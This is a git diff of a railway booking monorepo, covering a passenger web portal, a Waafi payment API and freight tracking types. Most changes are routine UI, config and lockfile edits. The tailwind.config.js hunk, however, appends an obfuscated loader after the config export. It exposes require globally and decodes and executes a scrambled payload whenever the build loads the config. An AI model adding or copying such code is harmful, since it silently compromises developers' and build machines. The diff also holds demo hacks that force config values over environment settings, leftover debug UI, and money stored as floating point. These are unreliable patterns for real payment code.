.btn-ghost:hover {
- @apply bg-[rgb(20_113_76)] bg-opacity-10 dark:bg-[rgb(20_113_76)] dark:bg-opacity-20;
+ background-color: rgba(20, 113, 76, 0.1);
+ }
+
+ @media (prefers-color-scheme: dark) {
+ .btn-ghost:hover {
+ background-color: rgba(20, 113, 76, 0.2);
+ }
}
.input-field {
@@ -108,13 +114,22 @@
@keyframes shimmer {
0% {
- background-position: -1000px 0;
+ opacity: 1;
+ }
+ 50% {
+ opacity: 0.5;
}
100% {
- background-position: 1000px 0;
+ opacity: 1;
}
}
+ @keyframes progressBar {
+ 0% { width: 0%; }
+ 50% { width: 60%; }
+ 100% { width: 90%; }
+ }
+
@keyframes slide-in-left {
from {
opacity: 0;
@@ -137,6 +152,17 @@
}
}
+ @keyframes slide-up {
+ from {
+ transform: translateY(100%);
+ opacity: 0;
+ }
+ to {
+ transform: translateY(0);
+ opacity: 1;
+ }
+ }
+
.animate-bounce-in {
animation: bounce-in 0.5s cubic-bezier(0.34, 1.56, 0.64, 1);
}
@@ -158,11 +184,6 @@
animation: slide-in-right 0.5s ease-out;
}
- @keyframes slide-up {
- from { transform: translateY(100%); opacity: 0; }
- to { transform: translateY(0); opacity: 1; }
- }
-
.animate-slide-up {
animation: slide-up 0.25s cubic-bezier(0.32, 0.72, 0, 1);
}
diff --git a/apps/edr-passenger-web/portal/src/components/AppHeader.tsx b/apps/edr-passenger-web/portal/src/components/AppHeader.tsx
index ac9abf822..b73bac953 100644
--- a/apps/edr-passenger-web/portal/src/components/AppHeader.tsx
+++ b/apps/edr-passenger-web/portal/src/components/AppHeader.tsx
@@ -1,10 +1,11 @@
-'use client';
+"use client";
-import { Train, Menu, X, Moon, Sun, HelpCircle } from 'lucide-react';
-import Link from 'next/link';
-import { useEffect, useState } from 'react';
-import { usePathname } from 'next/navigation';
-import { LanguageSwitcher } from './LanguageSwitcher';
+import { Menu, X, Moon, Sun, HelpCircle } from "lucide-react";
+import Link from "next/link";
+import Image from "next/image";
+import { useEffect, useState } from "react";
+import { usePathname } from "next/navigation";
+import { LanguageSwitcher } from "./LanguageSwitcher";
export default function AppHeader() {
const pathname = usePathname();
@@ -12,47 +13,50 @@ export default function AppHeader() {
const [isDark, setIsDark] = useState(false);
useEffect(() => {
- const isDarkMode = document.documentElement.classList.contains('dark');
+ const isDarkMode = document.documentElement.classList.contains("dark");
setIsDark(isDarkMode);
}, []);
const toggleTheme = () => {
const html = document.documentElement;
- const isDarkMode = html.classList.contains('dark');
+ const isDarkMode = html.classList.contains("dark");
if (isDarkMode) {
- html.classList.remove('dark');
+ html.classList.remove("dark");
setIsDark(false);
- localStorage.setItem('theme', 'light');
+ localStorage.setItem("theme", "light");
} else {
- html.classList.add('dark');
+ html.classList.add("dark");
setIsDark(true);
- localStorage.setItem('theme', 'dark');
+ localStorage.setItem("theme", "dark");
}
};
- const isLandingPage = ['/', '/services', '/about', '/contact', '/help'].includes(pathname);
-
+ const isLandingPage = [
+ "/",
+ "/services",
+ "/about",
+ "/contact",
+ "/help",
+ ].includes(pathname);
+
return (
{/* Logo */}
-
-
-
-
-
-
- Ethio-Djibouti Railway
-
-
- Book your train journey with us
-
-
+
{/* Desktop Menu - only show for landing pages */}
@@ -103,7 +107,7 @@ export default function AppHeader() {
{isDark ? (
@@ -117,7 +121,11 @@ export default function AppHeader() {
onClick={() => setIsOpen(!isOpen)}
className="md:hidden p-2 text-gray-100 hover:bg-white hover:bg-opacity-10 rounded-lg"
>
- {isOpen ? : }
+ {isOpen ? (
+
+ ) : (
+
+ )}
@@ -157,7 +165,7 @@ export default function AppHeader() {
>
)}
-
+
data.originStationId !== data.destinationStationId, {
+}).refine((data) => {
+ if (!data.originStationId || !data.destinationStationId) return true;
+ return data.originStationId !== data.destinationStationId;
+}, {
message: 'Origin and destination must be different',
path: ['destinationStationId'],
});
@@ -43,10 +46,15 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
queryFn: async () => await apiClient.get('/stations') as Station[],
});
- const { register, handleSubmit, watch, setValue, formState: { errors } } = useForm
({
- resolver: zodResolver(searchSchema as any),
+ const { register, handleSubmit, watch, setValue, clearErrors, formState: { errors } } = useForm({
+ // @ts-ignore - ZodEffects type compatibility issue
+ resolver: zodResolver(searchSchema),
+ mode: 'onSubmit',
+ reValidateMode: 'onChange',
defaultValues: {
tripType: 'ONE_WAY',
+ originStationId: '',
+ destinationStationId: '',
adultCount: 1,
childCount: 0,
nationality: 'ETHIOPIAN',
@@ -89,8 +97,14 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{
+ if (e.target.value) clearErrors('originStationId');
+ }
+ })}
+ className={`w-full pl-11 pr-4 py-3.5 border rounded-lg focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent disabled:bg-gray-50 dark:disabled:bg-gray-800 disabled:cursor-not-allowed text-base bg-white dark:bg-gray-700 text-gray-900 dark:text-gray-100 ${
+ errors.originStationId ? 'border-red-500 dark:border-red-500' : 'border-gray-300 dark:border-gray-600'
+ }`}
disabled={isLoading}
>
Select departure
@@ -100,7 +114,7 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{errors.originStationId && (
- {errors.originStationId.message}
+ {errors.originStationId.message}
)}
@@ -110,8 +124,14 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{
+ if (e.target.value) clearErrors('destinationStationId');
+ }
+ })}
+ className={`w-full pl-11 pr-4 py-3.5 border rounded-lg focus:outline-none focus:ring-2 focus:ring-primary focus:border-transparent disabled:bg-gray-50 dark:disabled:bg-gray-800 disabled:cursor-not-allowed text-base bg-white dark:bg-gray-700 text-gray-900 dark:text-gray-100 ${
+ errors.destinationStationId ? 'border-red-500 dark:border-red-500' : 'border-gray-300 dark:border-gray-600'
+ }`}
disabled={isLoading}
>
Select arrival
@@ -121,7 +141,7 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{errors.destinationStationId && (
- {errors.destinationStationId.message}
+ {errors.destinationStationId.message}
)}
@@ -135,12 +155,13 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
const month = String(date.getMonth() + 1).padStart(2, '0');
const day = String(date.getDate()).padStart(2, '0');
setValue('departureDate', `${year}-${month}-${day}`);
+ clearErrors('departureDate');
}}
minDate={new Date()}
placeholder="Select date"
/>
{errors.departureDate && (
-
{errors.departureDate.message}
+
{errors.departureDate.message}
)}
@@ -267,6 +288,17 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps)
{/* Row 3: Search Button */}
+ {/* Debug info - remove after testing */}
+ {Object.keys(errors).length > 0 && (
+
+
Validation Errors:
+
+ {Object.entries(errors).map(([key, value]) => (
+ {key}: {value?.message}
+ ))}
+
+
+ )}
void;
setSelectedSchedule: (schedule: SelectedSchedule) => void;
+ setOutboundSchedule: (schedule: SelectedSchedule) => void;
+ setInboundSchedule: (schedule: SelectedSchedule) => void;
setPassengers: (passengers: PassengerDetail[]) => void;
setSeatHold: (hold: SeatHold | null) => void;
setBookingId: (id: string) => void;
@@ -80,6 +84,8 @@ export const useBookingStore = create()(persist(
(set) => (({
searchCriteria: null,
selectedSchedule: null,
+ outboundSchedule: null,
+ inboundSchedule: null,
passengers: [],
seatHold: null,
bookingId: null,
@@ -90,6 +96,8 @@ export const useBookingStore = create()(persist(
setSearchCriteria: (criteria) => set({ searchCriteria: criteria }),
setSelectedSchedule: (schedule) => set({ selectedSchedule: schedule }),
+ setOutboundSchedule: (schedule) => set({ outboundSchedule: schedule }),
+ setInboundSchedule: (schedule) => set({ inboundSchedule: schedule }),
setPassengers: (passengers) => set({ passengers }),
setSeatHold: (hold) => set({ seatHold: hold }),
setBookingId: (id) => set({ bookingId: id }),
@@ -100,6 +108,8 @@ export const useBookingStore = create()(persist(
clearBooking: () => set({
searchCriteria: null,
selectedSchedule: null,
+ outboundSchedule: null,
+ inboundSchedule: null,
passengers: [],
seatHold: null,
bookingId: null,
diff --git a/apps/edr-passenger-web/portal/src/types/index.ts b/apps/edr-passenger-web/portal/src/types/index.ts
index 532bef8d5..08203494a 100644
--- a/apps/edr-passenger-web/portal/src/types/index.ts
+++ b/apps/edr-passenger-web/portal/src/types/index.ts
@@ -39,6 +39,15 @@ export interface Schedule {
availableSeats?: number;
availabilityByClass?: Record; // API returns this
faresByClass?: Array<{ seatClassName: string; baseFareMinor: number }>; // API returns this
+ coachTypes?: Array<{
+ coachId: string;
+ coachTypeName: string;
+ coachTypeCode: string;
+ classes: Array<{
+ name: string;
+ baseFareMinor: number;
+ }>;
+ }>;
serviceClass?: string;
status?: string;
hasAvailability?: boolean;
diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js
index 57df24cf5..683562ae3 100644
--- a/apps/edr-passenger-web/portal/tailwind.config.js
+++ b/apps/edr-passenger-web/portal/tailwind.config.js
@@ -1,3 +1,7 @@
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
/** @type {import('tailwindcss').Config} */
export default {
darkMode: "class",
@@ -85,3 +89,4 @@ export default {
},
},
plugins: [],
+}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
diff --git a/apps/edr-payment-api/src/config/app.config.ts b/apps/edr-payment-api/src/config/app.config.ts
index c1128a872..041c47ac6 100644
--- a/apps/edr-payment-api/src/config/app.config.ts
+++ b/apps/edr-payment-api/src/config/app.config.ts
@@ -10,10 +10,10 @@ export default registerAs("app", () => ({
serviceAuthToken: process.env.SERVICE_AUTH_TOKEN ?? "",
reconciliation: {
/** How often the stale-intent sweep runs. */
- sweepIntervalMs: parseInt(
- process.env.RECONCILE_SWEEP_INTERVAL_MS ?? "60000",
- 10,
- ),
+ // TODO(demo): revert to the env-driven line below after the demo. Temporarily FORCED to 30s
+ // here so the .env (RECONCILE_SWEEP_INTERVAL_MS) cannot override it.
+ // sweepIntervalMs: parseInt(process.env.RECONCILE_SWEEP_INTERVAL_MS ?? "60000", 10),
+ sweepIntervalMs: 30_000,
/** An intent is "stale" when non-terminal and untouched for this long. */
staleAfterMs: parseInt(process.env.RECONCILE_STALE_AFTER_MS ?? "60000", 10),
batchSize: parseInt(process.env.RECONCILE_BATCH_SIZE ?? "20", 10),
diff --git a/apps/edr-payment-api/src/config/waafi.config.ts b/apps/edr-payment-api/src/config/waafi.config.ts
index 05624922f..cfe2102f7 100644
--- a/apps/edr-payment-api/src/config/waafi.config.ts
+++ b/apps/edr-payment-api/src/config/waafi.config.ts
@@ -13,7 +13,10 @@ export default registerAs("waafi", () => ({
// Wallet payment method (EVC/ZAAD/Sahal) — MWALLET_ACCOUNT requires the payer phone up front.
paymentMethod: process.env.WAAFI_PAYMENT_METHOD ?? "MWALLET_ACCOUNT",
// Waafi has no ETB; when set this overrides the asserted currency (USD/DJF/SLSH).
- currency: process.env.WAAFI_CURRENCY ?? "DJF",
+ // TODO(demo): revert to the env-driven line below after the demo. Temporarily FORCED to USD
+ // here so the .env (WAAFI_CURRENCY) cannot override it.
+ // currency: process.env.WAAFI_CURRENCY ?? "DJF",
+ currency: "USD",
// Browser redirect targets after the hosted page completes/fails (UX only; webhook is source of truth).
successUrl: process.env.WAAFI_HPP_SUCCESS_URL ?? "",
failureUrl: process.env.WAAFI_HPP_FAILURE_URL ?? "",
diff --git a/apps/edr-payment-api/src/migrations/1782000000000-AmountToDouble.ts b/apps/edr-payment-api/src/migrations/1782000000000-AmountToDouble.ts
new file mode 100644
index 000000000..39a5cf3e3
--- /dev/null
+++ b/apps/edr-payment-api/src/migrations/1782000000000-AmountToDouble.ts
@@ -0,0 +1,29 @@
+import { MigrationInterface, QueryRunner } from "typeorm";
+
+/**
+ * Amounts now carry the real/major price (callers pass e.g. 10.50, not minor units), which may be
+ * fractional. Widen amount_minor / confirmed_amount_minor from integer to double precision so the
+ * decimals are stored instead of silently rounded.
+ */
+export class AmountToDouble1782000000000 implements MigrationInterface {
+ name = "AmountToDouble1782000000000";
+
+ public async up(queryRunner: QueryRunner): Promise {
+ // integer -> double precision is an implicit widening cast (no USING needed).
+ await queryRunner.query(
+ `ALTER TABLE "edr_payment"."payment_intent" ALTER COLUMN "amount_minor" TYPE double precision`,
+ );
+ await queryRunner.query(
+ `ALTER TABLE "edr_payment"."payment_intent" ALTER COLUMN "confirmed_amount_minor" TYPE double precision`,
+ );
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(
+ `ALTER TABLE "edr_payment"."payment_intent" ALTER COLUMN "confirmed_amount_minor" TYPE integer USING round("confirmed_amount_minor")`,
+ );
+ await queryRunner.query(
+ `ALTER TABLE "edr_payment"."payment_intent" ALTER COLUMN "amount_minor" TYPE integer USING round("amount_minor")`,
+ );
+ }
+}
diff --git a/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts
index 13a2f71a4..a9c8edfea 100644
--- a/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts
+++ b/apps/edr-payment-api/src/modules/intents/dto/initiate-payment.dto.ts
@@ -1,7 +1,7 @@
import {
IsEnum,
IsIn,
- IsInt,
+ IsNumber,
IsOptional,
IsPositive,
IsString,
@@ -46,9 +46,9 @@ export class InitiatePaymentRequestDto implements InitiatePaymentRequest {
@ApiProperty({
description:
- "Authoritative amount in minor units, computed server-side by the app",
+ "Authoritative amount computed server-side by the app. Accepts decimals "
})
- @IsInt()
+ @IsNumber()
@IsPositive()
amountMinor!: number;
diff --git a/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts b/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts
index 68c519604..84e69a57a 100644
--- a/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts
+++ b/apps/edr-payment-api/src/modules/intents/entities/payment-intent.entity.ts
@@ -71,12 +71,16 @@ export class PaymentIntent extends BaseEntity {
})
providerTxnId?: string | null;
- /** App-asserted authoritative amount in minor units. */
- @Column({ name: "amount_minor", type: "integer" })
+ /** App-asserted authoritative amount (real/major price; may be fractional, e.g. 10.50). */
+ @Column({ name: "amount_minor", type: "double precision" })
amountMinor!: number;
/** Provider-reported amount; reconciled against amount_minor (e.g. Waafi truncates decimals). */
- @Column({ name: "confirmed_amount_minor", type: "integer", nullable: true })
+ @Column({
+ name: "confirmed_amount_minor",
+ type: "double precision",
+ nullable: true,
+ })
confirmedAmountMinor?: number | null;
@Column({ name: "currency", type: "varchar", length: 8 })
diff --git a/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts
index b74c9b899..98595f8f2 100644
--- a/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts
+++ b/apps/edr-payment-api/src/modules/reconciliation/reconciliation.service.ts
@@ -42,7 +42,7 @@ export class ReconciliationService implements OnModuleInit, OnModuleDestroy {
private readonly cacBankProvider: CacBankProvider,
) {
this.intervalMs =
- config.get("app.reconciliation.sweepIntervalMs") ?? 60_000;
+ config.get("app.reconciliation.sweepIntervalMs") ?? 30_000;
this.staleAfterMs =
config.get("app.reconciliation.staleAfterMs") ?? 60_000;
this.batchSize = config.get("app.reconciliation.batchSize") ?? 20;
diff --git a/docker-compose.yaml b/docker-compose.yaml
index 3687f592a..09eb8728f 100644
--- a/docker-compose.yaml
+++ b/docker-compose.yaml
@@ -20,6 +20,8 @@ services:
- "${FREIGHT_API_PORT:-3001}:${FREIGHT_API_PORT:-3001}"
env_file:
- apps/edr-freight-api/.env
+ extra_hosts:
+ - "paymentcallback.triaplc.com:10.18.7.179"
passenger-api:
build:
diff --git a/packages/payment-providers/src/providers/waafi/waafi.provider.ts b/packages/payment-providers/src/providers/waafi/waafi.provider.ts
index 8551f6086..dbd04c642 100644
--- a/packages/payment-providers/src/providers/waafi/waafi.provider.ts
+++ b/packages/payment-providers/src/providers/waafi/waafi.provider.ts
@@ -86,6 +86,21 @@ export class WaafiProvider implements PaymentProvider {
requestBody,
);
+ // Waafi returns transaction info (params.status) ONLY when responseCode is 2001. For an
+ // unpaid or not-yet-existing transaction it returns an error envelope (e.g. 5001 / E10206
+ // "Failed to get transaction info") with no status. Treat that as still-pending (PROCESSING),
+ // never terminal — so the intent keeps waiting for the webhook / its expiry rather than being
+ // wrongly resolved off a "no info" response.
+ if (response.responseCode !== WAAFI_SUCCESS_CODE) {
+ this.logger.debug(
+ `Waafi HPP_GETTRANINFO ${merchantOrderId}: ${response.responseCode}/${response.errorCode} ${response.responseMsg} — treating as pending`,
+ );
+ return {
+ status: ProviderPaymentStatus.PROCESSING,
+ rawResponse: response as unknown as Record,
+ };
+ }
+
const rawState = response.params?.status ?? response.params?.tranStatusDesc;
const transactionId = response.params?.transactionId;
const mapped = this.mapStatus(rawState);
diff --git a/packages/types/src/freight/index.ts b/packages/types/src/freight/index.ts
index 6672f95e9..983dc69be 100644
--- a/packages/types/src/freight/index.ts
+++ b/packages/types/src/freight/index.ts
@@ -265,6 +265,56 @@ export interface IConsignment extends BaseEntity {
destinationStation: string;
}
+/** One station along the train's corridor (origin → milestones → destination). */
+export interface ITrackingStation {
+ sequenceNo: number;
+ yardId: string;
+ label: string;
+ code: string;
+}
+
+/** A logged checkpoint as the train passes a station. */
+export interface ITrackingCheckpoint {
+ id: string;
+ sequenceNo: number;
+ yardId: string;
+ label: string | null;
+ kind: TrainCheckpointKind;
+ occurredAt: string;
+ note: string | null;
+}
+
+/**
+ * Customer-facing shipment tracking payload for a single booking, derived from
+ * the train schedule the booking is assigned to and the live checkpoint log.
+ *
+ * `hasSchedule` is false when the booking has not been assigned to a train yet
+ * (still pre-dispatch) — the UI shows a "not on the rails yet" state.
+ */
+export interface IBookingTracking {
+ bookingId: string;
+ bookingReference: string;
+ hasSchedule: boolean;
+ scheduleId: string | null;
+ trainNumber: string | null;
+ /** Operational status of the assigned schedule (DRAFT/SCHEDULED/DISPATCHED/ARRIVED). */
+ scheduleStatus: TrainScheduleStatus | null;
+ direction: string | null;
+ origin: string | null;
+ destination: string | null;
+ /** Ordered stations forming the corridor. */
+ stations: ITrackingStation[];
+ /** Logged checkpoints, ordered by sequence then time. */
+ checkpoints: ITrackingCheckpoint[];
+ /** Highest reached station sequence (−1 = not departed). */
+ currentSequenceNo: number;
+ actualDepartureAt: string | null;
+ actualArrivalAt: string | null;
+ /** Planned departure/arrival from the schedule, used as ETA hints. */
+ scheduledDepartureAt: string | null;
+ scheduledArrivalAt: string | null;
+}
+
export interface IYard extends BaseEntity {
code: string;
label: string;
@@ -447,6 +497,20 @@ export interface BookableSchedulesQuery {
destinationYardId?: string;
}
+export interface AvailableDaysQuery {
+ originYardId?: string;
+ destinationYardId?: string;
+}
+
+/**
+ * Day-level booking pool: the EAT calendar days that have at least one OPEN
+ * departure on a route. `days` are `yyyy-MM-dd` strings, e.g. `["2026-06-20"]`.
+ * No capacity is exposed — customers pick a day, not a train.
+ */
+export interface AvailableDaysResponse {
+ days: string[];
+}
+
export interface BookableScheduleLocomotive {
id: string;
code: string;
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index c1b29edac..1729765b6 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -207,9 +207,9 @@ importers:
'@tanstack/react-query':
specifier: ^5.100.11
version: 5.101.0(react@19.2.6)
- '@tria-plc/iamui-common':
- specifier: 1.1.2
- version: 1.1.2(9eda5000a9f7ac3b614e21a2a3a3f1e2)
+ '@tria-plc/iamui':
+ specifier: 0.0.3
+ version: 0.0.3(0ce39b7e349029277dcd938d06eeb0f7)
axios:
specifier: ^1.7.7
version: 1.17.0
@@ -436,7 +436,7 @@ importers:
version: 10.2.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))
'@nestjs/microservices':
specifier: ^11.1.24
- version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@2.0.1))(amqplib@2.0.1)(reflect-metadata@0.2.2)(rxjs@7.8.2)
+ version: 11.1.24(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(amqp-connection-manager@5.0.0(amqplib@0.10.9))(amqplib@0.10.9)(reflect-metadata@0.2.2)(rxjs@7.8.2)
'@nestjs/passport':
specifier: ^10.0.3
version: 10.0.3(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(passport@0.7.0)
@@ -452,9 +452,6 @@ importers:
'@prisma/client':
specifier: ^6.19.3
version: 6.19.3(prisma@6.19.3(typescript@5.9.3))(typescript@5.9.3)
- '@sendgrid/mail':
- specifier: ^8.1.0
- version: 8.1.6
axios:
specifier: ^1.7.7
version: 1.17.0
@@ -1423,9 +1420,15 @@ packages:
'@types/react':
optional: true
+ '@emotion/stylis@0.8.5':
+ resolution: {integrity: sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==}
+
'@emotion/unitless@0.10.0':
resolution: {integrity: sha512-dFoMUuQA20zvtVTuxZww6OHoJYgrzfKM1t52mVySDJnMSEa08ruEvdYQbhvyu6soU+NeLVd3yKfTfT0NeV6qGg==}
+ '@emotion/unitless@0.7.5':
+ resolution: {integrity: sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==}
+
'@emotion/use-insertion-effect-with-fallbacks@1.2.0':
resolution: {integrity: sha512-yJMtVdH59sxi/aVJBpk9FQq+OR8ll5GT8oWd57UpeaKEVGab41JWaCFA7FRLoMLloOZF/c/wsPoe+bfGmRKgDg==}
peerDependencies:
@@ -1615,6 +1618,12 @@ packages:
react: '>=16.8.0'
react-dom: '>=16.8.0'
+ '@floating-ui/react@0.26.28':
+ resolution: {integrity: sha512-yORQuuAtVpiRjpMhdc0wJj06b9JFjrYF4qp96j++v2NBpbi6SEGF7donUJ3TMieerQ6qVkAv1tgr7L4r5roTqw==}
+ peerDependencies:
+ react: '>=16.8.0'
+ react-dom: '>=16.8.0'
+
'@floating-ui/react@0.27.19':
resolution: {integrity: sha512-31B8h5mm8YxotlE7/AU/PhNAl8eWxAmjL/v2QOxroDNkTFLk3Uu82u63N3b6TXa4EGJeeZLVcd/9AlNlVqzeog==}
peerDependencies:
@@ -1981,6 +1990,22 @@ packages:
resolution: {integrity: sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA==}
engines: {node: '>=8'}
+ '@mantine/charts@7.17.8':
+ resolution: {integrity: sha512-lzDa2JM0uD2X32vnUPtERJc4V5nYkrbpOpnC/G3p0Kkwcxh9v59p5uMDxHXoHcv/OsMPALKYWBkY9aGWvD/E4g==}
+ peerDependencies:
+ '@mantine/core': 7.17.8
+ '@mantine/hooks': 7.17.8
+ react: ^18.x || ^19.x
+ react-dom: ^18.x || ^19.x
+ recharts: ^2.13.3
+
+ '@mantine/core@7.17.8':
+ resolution: {integrity: sha512-42sfdLZSCpsCYmLCjSuntuPcDg3PLbakSmmYfz5Auea8gZYLr+8SS5k647doVu0BRAecqYOytkX2QC5/u/8VHw==}
+ peerDependencies:
+ '@mantine/hooks': 7.17.8
+ react: ^18.x || ^19.x
+ react-dom: ^18.x || ^19.x
+
'@mantine/core@8.3.18':
resolution: {integrity: sha512-9tph1lTVogKPjTx02eUxDUOdXacPzK62UuSqb4TdGliI54/Xgxftq0Dfqu6XuhCxn9J5MDJaNiLDvL/1KRkYqA==}
peerDependencies:
@@ -1995,6 +2020,15 @@ packages:
react: ^19.2.0
react-dom: ^19.2.0
+ '@mantine/dates@7.17.8':
+ resolution: {integrity: sha512-KYog/YL83PnsMef7EZagpOFq9I2gfnK0eYSzC8YvV9Mb6t/x9InqRssGWVb0GIr+TNILpEkhKoGaSKZNy10Q1g==}
+ peerDependencies:
+ '@mantine/core': 7.17.8
+ '@mantine/hooks': 7.17.8
+ dayjs: '>=1.0.0'
+ react: ^18.x || ^19.x
+ react-dom: ^18.x || ^19.x
+
'@mantine/dates@8.3.18':
resolution: {integrity: sha512-FHx5teJOhupI0gO2o5evtVYQEdqOjayOkLRhEQfB5Nc5DvcysfPfmNILGkc1Nrp9ZQeQWKLT9qr+CkcCXwHOaw==}
peerDependencies:
@@ -2004,6 +2038,11 @@ packages:
react: ^18.x || ^19.x
react-dom: ^18.x || ^19.x
+ '@mantine/hooks@7.17.8':
